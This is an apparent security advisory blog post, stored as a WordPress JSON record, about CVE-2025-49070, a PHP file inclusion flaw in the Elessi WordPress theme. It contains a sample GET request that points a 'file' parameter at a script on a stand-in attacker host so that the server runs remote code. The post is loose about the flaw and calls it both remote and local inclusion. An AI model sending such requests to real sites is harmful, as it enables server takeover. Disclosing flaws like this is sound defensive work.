{"id":86575,"date":"2026-02-28T18:27:15","date_gmt":"2026-02-28T18:27:15","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T06:00:00","slug":"cve-2025-49070-php-remote-file-inclusion-vulnerability-in-nasatheme-elessi","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-49070-php-remote-file-inclusion-vulnerability-in-nasatheme-elessi\/","title":{"rendered":"<strong>CVE-2025-49070: PHP Remote File Inclusion Vulnerability in NasaTheme Elessi<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2025-49070 vulnerability signifies a PHP Remote File Inclusion weakness in the NasaTheme Elessi. This vulnerability, affecting an undisclosed range of Elessi versions, allows PHP Local File Inclusion, potentially leading to system compromise or data leakage. The severity and potential impact of this vulnerability underline the importance of immediate mitigation.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-49070<br \/>\nSeverity: High (7.5 CVSS)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: System compromise and potential data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3482076610\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>NasaTheme Elessi | All versions up to the latest<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>This vulnerability works through an improper control of the filename for the Include\/Require statement in a PHP program, known as PHP Remote File Inclusion. This allows an attacker to include arbitrary local files via the affected Elessi theme. By exploiting this vulnerability, a malicious actor can manipulate the PHP include function, leading to unauthorized control over the system, potentially compromising it and causing data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2312275836\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example of how this vulnerability might be exploited:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?file=http:\/\/malicious.com\/malicious_script.txt HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this example, the attacker is using the HTTP GET method to request the &#8216;index.php&#8217; file from the server. The &#8216;file&#8217; parameter in the URL is manipulated to include a malicious script hosted on a remote server (malicious.com). The server, due to the vulnerability, includes this remote file, allowing the attacker to execute arbitrary PHP code on the server.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2025-49070 vulnerability signifies a PHP Remote File Inclusion weakness in the NasaTheme Elessi. This vulnerability, affecting an undisclosed range of Elessi versions, allows PHP Local File Inclusion, potentially leading to system compromise or data leakage. The severity and potential impact of this vulnerability underline the importance of immediate mitigation. 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